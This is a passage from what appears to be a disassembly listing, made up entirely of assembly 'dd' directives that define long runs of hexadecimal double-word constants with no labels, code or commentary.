2568E2DCh, 0C2D13B3Dh, 8E99696h dd 258AA018h, 8D964BE6h, 28B1336Fh, 83C7A06Fh, 0BE1E1A74h dd 2D2689C0h, 4F217925h, 29765089h, 610B905h, 84C859C2h dd 3716AE99h, 4A42A23Ch, 81A76779h, 48F768FEh, 0C66B313Bh dd 0B8777E77h, 0FDB108B4h, 0E086ED3Ah, 0AB101A68h, 48B7C16Bh dd 5B044B26h, 0B20B767Ah, 1DBC9248h, 0BB49C04Eh, 28275F09h dd 3C5CC065h, 8F22BE05h, 348E0341h, 48BCDC0h, 50901DC1h dd 12A83020h, 0B958C529h, 0E04B2FB9h, 3B6853DFh, 633D54DBh dd 0BAA3D4A6h, 0A74759Bh, 2B3E6DF8h, 0BF25137Fh, 491EDD88h dd 0C0FBFCBFh, 6BCA175Fh, 3C0B239Eh, 0A17513Ah, 9E933D39h dd 575656EEh, 5C4FE00h, 29B2AC3h, 14FBE20h, 2A4177E0h dd 814BC7B4h, 49D6B80h, 297E13ACh, 6CB498F9h, 802A7B60h dd 165384C2h, 8A8B551h, 0EA80EC9Fh, 0AC9FEABh, 0ECE25ED1h dd 1EA4F35h, 0B5922231h, 20802E40h, 0B03FDE34h, 0F16C9865h dd 82CA2901h, 0AD7593E4h, 0B351E16Eh, 4012F72Eh, 659BC5FCh dd 173DB92Ch, 2BCE3BA6h, 0C8EEF526h, 8D0909FDh, 8A9DE614h dd 0F6AFC352h, 9686AEC3h, 0DADA1368h, 0C6C159C7h, 0A5F8456h dd 706ECCEEh, 0B7E2DD8h, 5A580820h, 7FD4BDDh, 59C8137Fh dd 1443AA05h, 5FB2E0E9h, 0A6AFC044h, 68170F2Ah, 0BF0BF889h dd 9FAE58FBh, 6A407EFh, 2B85DF25h, 0C886A914h, 8819475Ah dd 3FF6817h, 465E392Eh, 260EC002h, 0D756250Fh, 55D18480h dd 2CFD18E9h, 55A6A52Ah, 696F0496h, 78E311D3h, 82BAB95Ch dd 0FD601DEAh, 5AD646C0h, 517B7E9Fh, 4F042A37h, 0FCAFEA88h dd 0DB7D109Eh, 16B6F85Eh, 27ACE2C1h, 0C5152950h, 0F332FBD1h dd 2E360FDBh, 864F740h, 8D12B8BCh, 0DE8F41C7h, 6E19B94Ch dd 0D814E7ECh, 52480A05h, 170C88Eh, 85BE381h, 0FB30657Eh dd 0F4C295C1h, 6565D375h, 9FF015Ch, 0DA46E650h, 5916D5F4h dd 0B29395FCh, 763910DCh, 0F3398748h, 9263B94Bh, 0FCA5F6E8h dd 1C0F58E6h, 0DE274168h, 2F0AC077h, 0B6B872BAh, 65AECC4Fh dd 7EDCBB09h, 68520055h, 77EB66CCh, 59B78FE9h, 18CBAC88h dd 8BB81085h, 7DF96B04h, 0FFF2D831h, 0EEC3A3C4h, 9B40588Eh dd 0FEB15A50h, 9EF9CB2Dh, 2832032Ch, 0D17551D8h, 0FEF38199h dd 7BDFF6C7h, 0E96D4EC1h, 276EB4C5h, 0AE9B8474h, 0EBF1134Fh dd 58726028h, 3ADD772Ch, 0A64E04F0h, 99680BA5h, 0B3251879h dd 0C3FE0659h, 1860D9E9h, 0C4C25E59h, 0C1EC4F1Bh, 0C544B9C1h dd 99F4403Dh, 0EB90DD22h, 0AEB95C7Dh, 0BC843581h, 0F16E2F42h dd 73BE6058h, 0B85F5A80h, 34940BA0h, 857F7993h, 80FEDADh dd 2D3FF59h, 5CB15AACh, 8F82C393h, 9E94F76h, 5537E2D5h dd 68877FE7h, 770971F8h, 0D5523951h, 0E09A0733h, 4C6ED3F7h dd 0B82AE90Dh, 2AF04F50h, 30A4764Fh, 0F10F0780h, 0D4D30135h dd 0F79BE471h, 0FE27DC7Dh, 52B1F09Bh, 0AE586B45h, 0FB78A107h dd 0C2FA951Dh, 0B900A32Bh, 6FA467D8h, 0DDA43123h, 0AFCAAF0Fh dd 1226D74Ch, 6DE98914h, 7B953FD0h, 0EE054B4Ah, 13C4CA03h dd 0DC0CF729h, 0BDEF1B8Ah, 6E77390h, 3A0EC8C1h, 0A8A0F37Fh dd 0F6C207F1h, 0F170E513h, 0F53DD7F2h, 31AF2E63h, 22A5B2CEh dd 10931A94h, 47BDC06Fh, 0F26DC056h, 0CFAA64C5h, 0E44BCA90h dd 0F32F41FBh, 8820D269h, 7BE7630h, 2783E8D1h, 9CCDA301h dd 7AC94505h, 0D7878857h, 0BA6FBBC0h, 0F9871B2Ch, 17D3064Fh dd 958712Eh, 71CA0F64h, 0B131AE5Bh, 82C317ACh, 0D159F587h dd 46B88F44h, 0EA64FB5Eh, 41E7A8BAh, 56F73BB0h, 0B4D566CBh dd 0BCB9B34h, 0FDA05CDCh, 0A17A8668h, 1358093Bh, 36BF4271h dd 0D2BF5ADEh, 21B59382h, 0E90D313Dh, 0BC93CE1h, 4F38858h dd 77EA3D22h, 0BFEDB29Eh, 9F1B5A7Dh, 5959C7FCh, 4F891E21h dd 0E5FCE3C1h, 8C76AE02h, 0E4E4807Eh, 968F48DAh, 0A9A809FCh dd 0B88011DCh, 1BFE5719h, 0F1A092Dh, 8BF5D718h, 9D1F267h dd 44E647FFh, 0FACE8E09h, 2A8B0CBDh, 77E5BD59h, 88B75A5h dd 7C94E45Dh, 0AB022FD6h, 7FA35A0h, 5D2651D5h, 480E4D45h dd 89B7E3FCh, 0E45C60EEh, 49E95E08h, 215ACE92h, 0E6BF4C65h dd 5AF4A24h, 0ABEAC12Fh, 0A87A8739h, 28FB923Eh, 8C413F80h dd 337BF03Eh, 0C1206D6h, 0E580E280h, 0B05007ECh, 0D2C530E8h dd 0B848F7ABh, 0E7DF6EA3h, 80E418BEh, 174F680Eh, 44A2076h dd 0B7DA1C0h, 606B56BEh, 0EEC02E5h, 0E9EA010Eh, 50D13514h dd 331F054Ah, 0FB943BDCh, 880841EDh, 0DD974Eh, 7940B85Dh dd 5071986h, 2A1129E6h, 802DF832h, 320D5F07h, 5A79173Eh dd 16A65650h, 0B4A80DCBh, 0E765D88Bh, 40D1F49Dh, 39D308B5h dd 0D1292Fh, 41C817BDh, 0CE0930C4h, 5CE7EEA2h, 0A711B73Fh dd 0B4F5FEC7h, 0F995BB0Ch, 0FA1279BCh, 0F17921B6h, 20CCCD5Ah dd 574EF35Eh, 5D56EEF4h, 6382BA53h, 387C9D6Bh, 81017210h dd 0FA4F2FCFh, 29C77B15h, 18C619Eh, 0C56A2517h, 12DF71ADh dd 7D3AAD6Fh, 7841719Ah, 0C30D2AACh, 0E03ACA28h, 20770D06h dd 0EC80E1EDh, 0D602F6A0h, 38E9C6FEh, 965C452h, 111E5450h dd 0BCA83405h, 64C02C1Fh, 8341A87h, 0B252C640h, 0BEE9183Ah dd 49BB82BDh, 27921503h, 254EF387h, 4FFE059Ch, 17C0755Ah dd 334B5968h, 80B49BACh dd 393B439Bh, 0FA29411Eh, 5B08EA14h, 0BAF734BAh, 8225A669h dd 0B77CB83Fh, 0AB16EBE4h, 0FCCD2180h, 5DCC244Ch, 2C42A78h dd 0D51F8FBAh, 6C7F8970h, 0E94B1E6Dh, 608EE605h, 1C516856h dd 0ABC9F850h, 0E65FE262h, 953A7006h, 3002A251h, 0E132D78Ch dd 8A6E56C6h, 98D51017h, 7004174Ch, 0C064331Dh, 2A14C58Dh dd 0EE861550h, 75C65A09h, 0A0CC201h, 2F0D3808h, 4CC4C118h dd 32376BE8h, 63AA9B90h, 64325D81h, 2582371Ch, 24546F5Dh dd 9FE5AD40h, 0D29AE80Bh, 5440BBCh, 9A007606h, 3E4571E0h dd 0CF9AEBB5h, 140530B1h, 0FE832A82h, 0AF6B9D5Dh, 665C8B15h dd 11680E86h, 3CAE172Bh, 0EA17833Dh, 0CDEA5202h, 259232B2h dd 0D17F8092h, 0B03540E0h, 0A70090Fh, 0CED5C301h, 18749DDEh dd 9DEC60AFh, 0D8EB88DFh, 0C3E1505h, 41AD1301h, 0AB9BE616h dd 4B9F6C3Ch, 0A5BCA2E5h, 0DDF98EAh, 0DEBD3F5Ch, 116F360Ch dd 0EB5848C3h, 0D1147101h, 30DFF765h, 40051B3Ch, 0D7E9B87Fh dd 826F72B1h, 0D7425A87h, 5D24FDDCh, 69DEEF1Dh, 0B4010A93h dd 38D66B2Fh, 5F4B8204h, 2B7F0B2Bh, 9B9F300h, 0FE63389h dd 51BF8084h, 30C30083h, 894B1E42h, 0EAA86E96h, 37E94340h dd 692BAD75h, 2638A444h, 39AF5F2Fh, 0B383547Ah, 0CBE983CAh dd 0E2BE8571h, 9AEBB5ABh, 9CCC1A7Bh, 0E8C17D98h, 4DE6D40h dd 0D51D3BEDh, 0B095C85h, 4A04D108h, 0EC503828h, 959027Bh dd 5D02978h, 2545078Ah, 0FF494B71h, 6C7EDB83h, 1FD22E2h dd 15C5401Dh, 67A10C84h, 0CE0FC3F9h, 3E9E50D9h, 5B7FC2C0h dd 35775CBFh, 0DDB3B633h, 5DEB29D0h, 7C905357h, 490F7397h dd 221C9CDFh, 0E5056ABBh, 386E3428h, 0FD3BA6B8h, 0A009BA40h dd 7664FF13h, 0C683096Eh, 1EB34960h, 0E015272Dh, 60DBE945h dd 88C34DF8h, 8C51D2C9h, 0A621FCFCh, 6BFD084Eh, 0B75B0840h dd 511C791Eh, 2C9EFD88h, 21668E6h, 0FB50CEF0h, 3B758FDDh dd 93B3103Fh, 0EBAFFA7Ah, 299CF33Fh, 0E9090745h, 0ED52A96Ch dd 347E2708h, 8EB2C380h, 20E9D4E7h, 0D09802D1h, 0B73B822h dd 0BB08C6C1h, 9711FA02h, 6398EC4h, 9C30BF34h, 0F6CC8658h dd 4AE908D0h, 0BBF5007Fh, 0D727B8Eh, 34E22E98h, 5C9B602Fh dd 0F042824h, 0AC1F9013h, 895EF522h, 0D4CA4FFCh, 46246D10h dd 93680110h, 0F46FE73Fh, 9FC9B9C5h, 2464AEDh, 0DF962197h dd 7B7DF13Ah, 9E9F2ACAh, 0E4680598h, 8916B358h, 0A0D4F7h dd 771F0703h, 4B74E281h, 0C2BEEA60h, 4BF5F901h, 6C8DEFACh dd 6F4809D2h, 0D15D6DE9h, 0A7E53BC0h, 4D41A39h, 0A4A2DEEFh dd 4A00B625h, 8103EBC1h, 1F93CB05h, 30C54AC7h, 0DC01460Ah dd 8DE3339h, 0F94F4068h, 0F7B44E52h, 16533EEEh, 0DCBA82DFh dd 17C0127Ch, 404B39B9h, 0F9C1F561h, 0DF06E83Eh, 8EDC9A96h dd 0BED84F01h, 13A96728h, 1444B81Dh, 0ED251F0Fh, 0DB201EC6h dd 0DC91A2BDh, 0A2ADBD1Bh, 6768BE82h, 808F51DFh, 13E81B4Ch dd 0D0B5D0F7h, 49714B81h, 5B010788h, 30147384h, 741B723Ah dd 359A21A6h, 13A9B02Ah, 0BC6FE0D4h, 5207CABBh, 597622h dd 4102AF4Ah, 6152C109h, 83E4CAE0h, 54E95B48h, 0C1384B3Ch dd 0A7DAF706h, 226580Bh, 118DFA2h, 25775AD3h, 0AB4142F1h dd 74FA685Eh, 73D3B651h, 49C49568h, 16EA1054h, 0D7E46068h dd 31055F41h, 2BB4B989h, 1C275ABh, 0AD1DE649h, 871A8353h dd 318FD25h, 74014A96h, 1CAE420Bh, 0C9BDE101h, 175BE99Eh dd 27658E3Eh, 48E998B8h, 7731276Dh, 882A5D2h, 0CE0898DEh dd 0CBF2207Ch, 0CDEF5ACFh, 68412CA8h, 3D71DECCh, 82167530h dd 933F8DB0h, 0DBEF52F2h, 0E5680EE1h, 0DBEE1255h, 31EA5F95h dd 2F7595F2h, 164D938Ah, 9ACF311Ch, 545F08F9h, 685385F4h dd 8821BB2Ah, 0BF8AA2D1h, 89D57638h, 0C5FFA09Bh, 8B5A13BCh dd 65ED169Bh, 0C486AC20h, 1A1903Fh, 6730DDC3h, 44CB0154h dd 0AB0812BEh, 33E98588h, 0D161BC5Ah, 6466E7BAh, 0B5A69FCh dd 9281C034h, 0E22E1A11h, 4B95D050h, 0E90B58CBh, 0C3736928h dd 0F7B91B89h, 58BF32CCh, 7CC9A2D5h, 0DBC05201h, 56270923h dd 4ACC5048h, 29810341h, 0E9B90D08h, 4006B1Fh, 311926B8h dd 13C2B721h, 0D22DD5D6h, 42779E70h, 0A0FD8F24h, 52025172h dd 2FDCBF1Ch, 6BBC6700h, 0D23BE906h, 1C2EFBF1h, 0D6D82127h dd 0A6E9DB09h, 5C66650h, 44A33640h, 0FEE3004Fh, 4777524Eh dd 9DEA0EC1h, 0CF607920h, 17A19D3Ah, 97316A29h, 0F253D6ACh dd 0A2E581AFh, 5A10AD51h, 0FCC0CC7h, 710C594Bh, 2261332Eh dd 0DBF56D13h, 2CBAEDh, 5DAFF05Eh, 0AB017D40h, 0FE4FDA8Bh dd 6F6C09F9h, 4F0B1EF5h, 837517A7h, 0C8E85A8Bh, 0C44CB753h dd 4F662027h, 0F7EF0031h, 35EB7324h, 80BDA1FCh, 5558BBFEh dd 0A40F5E78h, 5648052Eh, 64D6002Bh, 8DE9102Bh, 2BD99D83h dd 585E92A8h, 0D20580C5h, 0AB361140h, 0FA3013Ch, 7DE90EBAh dd 0D85103B2h, 4CC612C3h, 1026B47Ah, 0B80BCF90h, 0C5A91E30h dd 18F0E49Dh, 0F1306D68h, 81803373h, 2BF0BCDh, 104606Ch dd 2D5D1E77h, 0FD4D1949h, 0C6EFDD41h, 48A27F0Bh, 0E6921C22h dd 8B42B119h, 0FF54527Fh, 0B2FFFB4h, 49047EF8h, 0FEE41075h dd 0F6802CCEh, 0B3211621h, 4CF733A2h, 0B8A24559h, 935F5994h dd 9C7CD325h, 0DFD756C2h, 4204885Ah, 0FA29403Eh, 0AFD7C4ACh dd 2225040h, 0E19615E9h, 0D61E5FC2h, 1F4D681Ch, 58305725h dd 0DD5FE2E9h, 951939B3h, 704E10CEh, 31160EA4h, 82EEA011h dd 0F1A72DEAh, 7CFD6252h, 0AAB20746h, 0F1565328h, 5E0EDF09h dd 4BDCD276h, 0ACFC02B9h, 0DCF1D830h, 87E6885h, 82B19532h dd 98631CFh, 44E1A0F7h, 9D0C1D1Eh, 0BB081F73h, 92400B28h dd 7110D183h, 0F2B03EA3h, 1723014h, 4A9FA190h, 14E1D778h dd 0FAFDCE7Bh, 4F1B050Eh, 0FB446826h, 0BB53C730h, 0F70C7D87h dd 3C65C971h, 5CDC3AC8h, 6F106002h, 69445ECDh, 561AA3BDh dd 1A75E1F7h, 19672E20h, 0C639502h, 57F0DCB6h, 590794C1h dd 0E12FE9C3h, 14A22089h, 19D34414h, 0F05F2DF5h, 782A0963h dd 4E581320h, 0DEB07B27h, 0C2F8E587h, 98758273h, 0B7B3AF46h dd 851AD438h, 9DAD66B5h, 109AE7Eh, 52E07EE8h, 40B7A652h dd 82641D0Bh, 6B313A80h, 5CB529D7h, 0D9EA13B8h, 0DC100796h dd 87625DC6h, 947DF71h, 309C676h, 0B3DF246h, 2FD00EA8h dd 0B6800072h, 0BF051DEEh, 0F0897871h, 33F09CC4h, 24B03E68h dd 0E6E55825h, 83BE5680h, 0ED063135h, 82CA01FBh, 58078B61h dd 5E06422Dh, 0C5C065C3h, 66D0C2Eh, 0FB00040Eh, 4CD4B224h dd 5B27E6D8h, 8102A578h, 874E41F3h, 0A380C583h, 0DFBD3C80h dd 22FFCAh, 270956BEh, 0E978B2FEh, 0D2124960h, 0D2501610h dd 0BD6EAB6h, 54910600h, 153C47h, 5540B7B9h, 3BE18152h dd 0FCC198Bh, 0AAC98612h, 601058A7h, 22907069h, 1864C325h dd 2D334A0Dh, 685477B3h, 38CEFD6Bh, 9B611C24h, 34D820CFh dd 0BF5B2CE3h, 63047258h, 0A0E966F6h, 0A65212ABh, 36E9C426h dd 0BE0812AFh, 851C28CBh, 0F9272135h, 80C549C7h, 3094BB8Bh dd 0B930FD29h, 0BF5C97D1h, 5EE9C960h, 0B4D6BDA4h, 65226886h dd 0B267F24Bh, 5E259775h, 4FCEF840h, 0D25F149Ah, 0C378FE7Bh dd 448E30FBh, 9CFB0AB4h, 0E91A2D8Ah, 948CCB7Fh, 0F6098104h dd 0F8292FCCh, 0BAC03EA2h, 0F589FC82h, 0D761455Eh, 4F32B58h dd 0B8AE4A79h, 32A35F1Eh dd 478D13Eh, 537EAAC1h, 0ED89BA67h, 0EF5AED38h, 79C2AC74h dd 992FDE64h, 0C2290635h, 0E669AF61h, 2AC7A70Fh, 0B1DBF7D3h dd 0A03F83CFh, 9503B197h, 0F607E9C0h, 1DC9E9D1h, 5BBC7CFh dd 20EFB47Ch, 532539Ch, 7041145h, 447ACDF4h, 0FC73EA9Dh dd 0D64A412Dh, 6E268ABFh, 0A89888DAh, 3296B800h, 24C1055Bh dd 42F904E8h, 704817E9h, 0C301315Ah, 80C9B551h, 0B22ECEE5h dd 7D4D1359h, 4285C6EDh, 3C37AADEh, 30BC910Ah, 146825C1h dd 6787DD03h, 576EF869h, 0F9A4A4FEh, 0F9C203E2h, 5B259067h dd 61E288C1h, 0B03885E3h, 178128C4h, 368022F6h, 3FC71A35h dd 0C12D01A1h, 5D2A1A58h, 419AA8DCh, 1A207F41h, 0F277515Eh dd 0E6365897h, 0FE1497EAh, 2417CFDh, 510F0D7Ch, 68CCDF5Fh dd 76C0F05Fh, 2C73BAB8h, 1310187Ch, 2D16DCF5h, 264BD43Ch dd 0C1130B46h, 3CBA1460h, 36AC0177h, 0E4A2F4BBh, 1FA738CDh dd 142C1EE9h, 0F8897C96h, 1287447Fh, 0D653F8C5h, 5C54F804h dd 76266880h, 17104819h, 9752506h, 0BABA0C4Dh, 0C6540CD7h dd 5FFA2F8Eh, 96FF7FABh, 60A13446h, 21D2C26Fh, 0E95828D4h dd 229BC4Ch, 3343C9BAh, 55B27760h, 34D84F81h, 0CFB192h dd 45E28002h, 0BC908851h, 8C484B2Eh, 50D4689Fh, 4B672029h dd 0E153EC88h, 282EA022h, 0AAB2B830h, 1EBA660Eh, 0C20187E2h dd 3EA588C3h, 5BBC5980h, 0A3813A13h, 79FF93C2h, 0ADFD6F45h dd 0A09011CAh, 0CB9F2FDCh, 63BB92FDh, 311013C0h, 0B4C308D7h dd 800BF28h, 5BCBB52Dh, 90C52953h, 0F50B9F2Ah, 97F1ECF5h dd 42F69AFFh, 0BF62C959h, 1C605BD8h, 0CF8165h, 0D178D915h dd 0D74FF7E7h, 5D79CCA4h, 0F1D834Ch, 5F419639h, 1EDA79EAh dd 0D9F74529h, 0B03C8456h, 0A13EBE25h, 9A68241Dh, 5C4D8F40h dd 30B9FE2h, 51408BDDh, 0D95612E2h, 0B9CCEF0Dh, 7C59256Ch dd 9BB18B33h, 81346C5Dh, 0EE05A19Fh, 7E166E41h, 8CF44BABh dd 5F4BBF6Ah, 2758EFE3h, 0F9250CA2h, 12160C7Bh, 177F0B30h dd 0E11EBB23h, 48F56595h, 12E73E63h, 91B242A2h, 0AEF0BB17h dd 0B1F3EC27h, 0C61F3F9Ch, 6004C8A5h, 14A6FF5Bh, 0ABB3AB92h dd 3BD9E9C2h, 60D52169h, 3C12DDC2h, 0A4CC58B1h, 2E313868h dd 556DFA4Ah, 99137D21h, 0D8ECB159h, 8698BC6Ah, 4F421801h dd 0EFBB0031h, 7C41405Ch, 1DD893FCh, 2F54E180h, 67547209h dd 303C6559h, 9ACB311Ch, 58F408D9h, 0C74D7F3Ch, 0BE560168h dd 30A87FB6h, 0CC85E53Fh, 0C270A1FAh, 1299F38Ah, 0FBDD5773h dd 0E90CC43Ah, 50ED857Dh, 9A7B804h, 3DA16BF9h, 1CFABE30h dd 0AC54423Bh, 75D10216h, 0E05F4430h, 16CA870Ah, 20E547E9h dd 96F08C86h, 0D529EC2Ch, 6284B296h, 0B1FCC2EFh, 93AB0404h dd 6069203h, 7A72E9DDh, 3982BF45h, 0F4C1016Eh, 0BBE5EFF1h dd 10866AB3h, 0E5951E5Eh, 0E3A5B94Ah, 9363ACD9h, 553D8A75h dd 745BF269h, 740BBF6Ch, 5D513440h, 61EB1A20h, 40F12B76h dd 0C364A08Dh, 0D8F77707h, 3C806605h, 4FCE68D3h, 45E63034h dd 0F2D8A23h, 9D7E56E9h, 0E31C4735h, 0D4E5A43Ch, 0BBBF169Eh dd 48EC15D8h, 6AD0EE94h, 4035AE4Eh, 173647E0h, 0A8418275h dd 1CBC05FAh, 3880770Dh, 0F2B76CC5h, 171BB2D9h, 0C7E6E942h dd 0E0D89DA8h, 9BA8F40Ah, 20E7CA01h, 32BA3673h, 28270401h dd 15A268C8h, 0AC5E8D6Ah, 0AA0B5918h, 14655F67h, 7CCB539Fh dd 0A42C9031h, 8522D61h, 0BE8488FEh, 24826A54h, 945275C1h dd 68625F2Dh, 623CE854h, 796FB483h, 1959307Dh, 40339CB4h dd 299DE6BBh, 359D824Bh, 4CC97A82h, 49406EBCh, 0B81B40E3h dd 0F586011Eh, 91C081Ah, 8C750214h, 8C0EFEAFh, 0F6C7AB1Ah dd 9E34DE0Bh, 649003Dh, 0BD8F68A4h, 84249BC0h, 124CBD80h dd 0B16F780Bh, 0AF0A2F17h, 0E9090BC3h, 60275032h, 520F7658h dd 0CC156B0h, 21CC35D2h, 9A5CAC42h, 3A2BFFFFh, 0D0250BDFh dd 0A7802737h, 864FF848h, 0CA2A357Ah, 0E2049F6Eh, 506D6056h dd 4B79A9ABh, 5A689302h, 0F182467Fh, 5D06926Eh, 5B3AE2D5h dd 998425C1h, 7D78B8E2h, 0F07DF370h, 0C7F83EE9h, 1018ACB4h dd 0BE5B6313h, 2038A443h, 7DF9C7F4h, 4C279D2h, 7F0986E9h dd 4A20AE1Eh, 0D9012C9Dh, 0EFF12535h, 0A5F31B09h, 0CBFE8955h dd 35FA5BF6h, 0D8560546h, 7B2DCA1Ch, 0D4A5F527h, 970D5015h dd 0B4C4F782h, 2C8C7228h, 0CE21600Eh, 5AA97432h, 892419B1h dd 4ACCFC2Ah, 305CC6FEh, 8E796C9Dh, 92E92D54h, 0E658Bh dd 0A72A6BE6h, 7357C305h, 0C5BAFD11h, 32888ADh, 51CE7FCh dd 5580437Dh, 0D9098BBDh, 60E89D4Dh, 4826FABh, 9AC85BAEh dd 0C27EFA40h, 2BD16811h, 4E009CF3h, 0B90B386Fh, 5A3DE04Dh dd 928BEC1Eh, 0C00BB3EBh, 0E957E189h, 0F36C4A06h, 0DF453826h dd 0E9C577A3h, 134F8D6h, 541D50BBh, 0E56E4320h, 0E200CF47h dd 4C60C3F3h, 31DF2933h, 833D69E9h, 4797CE8h, 10B37DBFh dd 20287780h, 308DB05Fh, 521202EAh, 5B4D5942h, 0A2C21C38h dd 0E9712601h, 7CAFB543h, 93E934FEh, 0C6D4A2C9h, 0FD682FF3h dd 0BAF0B1E6h, 26C61712h, 81923DACh, 0C359DCCEh, 66B6AE85h dd 8FABA892h, 5B30B0B8h, 0B0685E49h, 3A917554h, 92DE240h dd 2F7C5580h, 15053485h, 0E9852807h, 137E947Fh, 74640480h dd 84AE13E4h, 4EF1AB47h, 825F0CA5h, 0D53C8B5Dh, 89A59CE7h dd 0F20904CDh, 55D30E80h, 560B833h, 0F8322DCFh, 6249C154h dd 5D077B0Bh, 5F095399h, 0AC2C61C5h, 0D3DE04E9h, 38CDFE06h dd 0C16FAF41h, 6530C897h, 0EB58F545h, 8A2C1A1Dh, 61A0F2D7h dd 0C0B7250Fh, 0AA541C09h, 28493600h, 13CEBE27h, 0ABD8D7B6h dd 0FED96B0h, 3DF6032h, 8055F529h, 7FB42DDAh, 7C6727E9h dd 81252767h, 0C230A1F9h, 150728E2h, 6809B95Fh, 25B4BDEh dd 0C2CD5C49h, 1A775EF5h, 0C976DEA5h, 5100E8F4h, 1CBE6856h dd 5E190210h, 0EEF9E952h, 17A9457Fh, 5A4EB2BCh, 0ED7A0F2h dd 0B85F1E1h, 7A5AAE3Ah, 0E90A02FEh, 9DB8D0C6h, 74C9FCFEh dd 147D27FDh, 0A66B32D5h, 73FD5D60h, 8AC00C21h, 82A2CDE9h dd 0F639EB77h, 3E997074h, 0E3B829C7h, 17FA3B8Bh, 31206AF0h dd 0B8AC4C9Fh, 9C57AF2Dh, 0CE8000A3h, 0B45066DBh, 0E65C3003h dd 0C63F7BFDh, 0F4F62555h, 1AFC2FE2h, 6968893Eh, 97A00418h dd 1B05F5B9h, 0ECCEBB9Bh, 0D1257E6Ah, 88D4F107h, 350758F3h dd 6A5727EBh, 0BD633350h, 0CD052623h, 2D4B006Dh, 941A68FBh dd 0BFC014Ch, 31B395E9h, 4E9F3CD3h, 0BF16E0D5h, 71285C5h dd 2BA6E5AAh, 0E6F22E3Dh, 9954206Eh, 0F03ACAA0h, 2D98F2Dh dd 0DF6C29A4h, 414A6B79h, 0FAB95178h, 6C910138h, 6EC7D8BEh dd 0E1C57B93h, 2DBF4A57h, 0CFF222F5h, 46664968h, 65CD099Bh dd 945B5A19h, 28DD5908h, 9552ECDFh, 3E51FA5Ch, 1DE8B555h dd 3BA5A78h, 20FDB647h, 0C3805AC8h, 0D92DBC76h, 0F531DA5Bh dd 5BFD103Eh, 43B70892h, 38EF8100h, 9590AE60h, 0C15B325Dh dd 7964ED21h, 0E94441F8h, 5E37242Fh, 0CD54548h, 0D0572378h dd 31CE0EF6h, 6C7AFEEBh, 2CE87C86h, 0DD5E5576h, 0EC80B1C0h dd 0F5E6E060h, 0B88DE8D2h, 4B510076h, 1F29254Ch, 0B7E4312Dh dd 7BC02E1Dh, 0B63577C0h, 592AE90Ah, 2C017E98h, 318BAEB5h dd 0FBCA45CBh, 0A2D846F2h, 0BD3EF2C1h, 0BEB3AD6h, 8037CF75h dd 5354AE11h, 78F2B72Dh, 1C400883h, 0EA30E914h, 60B972C8h dd 6A7A3D22h, 4068A912h dd 52F8E333h, 42C15515h, 2364F040h, 8B03AE2Bh, 0B07A5AC2h dd 9C35E945h, 3A5E25EAh, 0EC2FCB51h, 4DB9A5B3h, 2C23A84h dd 0C6202D66h, 82AEB07Bh, 775C57CDh, 82CED970h, 8011AEFDh dd 9E02F119h, 4EE89031h, 0E11DEC89h, 66016008h, 9382DC53h dd 5AD565C4h, 0A05DE9AFh, 0B5559468h, 7489ED53h, 76E4FFA6h dd 1E5A8820h, 0D7285135h, 8F40FF7Eh, 7329149Eh, 2EA026E9h dd 257DCBCAh, 0AD0C58E1h, 9DF466EBh, 0F5259B5Ch, 0F329B5CFh dd 9936E904h, 13CBB900h, 2DF44309h, 5B001BB4h, 68514D04h dd 0E3565FEBh, 972112E4h, 0AB92BE5Dh, 6DFBB1EAh, 3B3488EFh dd 0AC5F9E38h, 77CCD906h, 0D213F27Dh, 810E476h, 12CDCAD4h dd 1B5FDEB5h, 2D5E214h, 29E133C2h, 658D943h, 0DF7DFAE9h dd 9793F302h, 0E1895E83h, 0A62566F2h, 4473276Ah, 8C2DC2FAh dd 50EB8001h, 9A9C5DDEh, 0D265025Fh, 999D21EBh, 9317389Dh dd 0D0CB85D2h, 27859EE1h, 0B1954E57h, 9F1309EBh, 0B20980DAh dd 7D0C5A2Eh, 8832CF0h, 9D21C04h, 80EA6B53h, 0E42BE1E3h dd 0BF050E0Eh, 2C482939h, 97020610h, 92A68D7Ch, 9A600102h dd 0A1D7CE2h, 0BC57AF10h, 0C9463C17h, 0E2DEE1EDh, 0CA341BDDh dd 25377E41h, 0FFE9F5F6h, 2D16FF47h, 0E91244EAh, 89D1FCE2h dd 1708502h, 0C1586AF8h, 0D6B57B20h, 819DBC0Dh, 1F31CFE2h dd 0B7E22DAh, 89C85218h, 56E41D6Dh, 39BEC2BAh, 23642994h dd 0C92C4E74h, 0A9127041h, 6602C0E2h, 0D6B15152h, 881CF760h dd 5AC3CA56h, 0E0CD4AA0h, 0ED7BBDE8h, 5D6C2289h, 0EC96255Bh dd 0F2048BC4h, 68304813h, 66B77B96h, 0A802302Dh, 202BC3FFh dd 935D763Dh, 7460BAC2h, 127936C4h, 38CE3104h, 3948F6D3h dd 0C4C25B97h, 83BE5C8Fh, 2124087Dh, 7EB26ED9h, 4F71AD8Dh dd 4A75B9DCh, 0F7422951h, 33CE09DDh, 94F0CCD2h, 7AEB6082h dd 680E001Dh, 25BC981h, 8C98438Bh, 5517A70Fh, 0E2F18F74h dd 5DD0FA89h, 6A540B58h, 0C5E878Bh, 0E173D9E3h, 786F5311h dd 0E1D69878h, 823BF520h, 130002EEh, 907FE0D0h, 4CA60CFAh dd 7B0C2B9Dh, 474EDAE2h, 8061AB5h, 5914820Ch, 0EA5F447Eh dd 0EA5A578Bh, 54264121h, 7EEC000h, 0AE4BD0F0h, 522292BAh dd 0B0F4D27Dh, 123A0BF4h, 467775F9h, 2BC58029h, 78A02D41h dd 0B07F35E0h, 73CA8080h, 1AEA0B76h, 0A25FD328h, 5D86836Ch dd 0BD2D519Ch, 0EFC0E402h, 7534EA10h, 0A7626A3Dh, 0FF162BE5h dd 0A4528105h, 0E5B6FFF7h, 5E25B14h, 5E3B09BEh, 0AACDABh dd 23292E2h, 68560605h, 3E4B3442h, 7F678457h, 0AB88612h dd 0A4B48A4Ah, 0BF7070EBh, 0D949F471h, 306248BAh, 3F64BE18h dd 950A155Eh, 5A1708EDh, 9AB97905h, 6F0D7B98h, 0C3CC4798h dd 50F84A83h, 0BFFC864Fh, 5A3B68E0h, 3D19F39Dh, 17163010h dd 2A1A3E9h, 0D39EF23Eh, 40C55504h, 0BD079A10h, 0F71DCF06h dd 569BD2CAh, 1F399357h, 52700E20h, 0A800A1Eh, 0FBC70106h dd 2E396A73h, 80FA1D4h, 0E1A8ECE9h, 24F08134h, 2AB431D4h dd 6C687F5Ah, 82820571h, 3A6E4ACh, 6BEFF028h, 0C601C772h dd 0AFC4A231h, 7672F189h, 626CAE4Bh, 80374BE9h, 0C0D9F6F1h dd 8005E101h, 0CC289CC1h, 82E8B36h, 771B0804h, 2D35BD01h dd 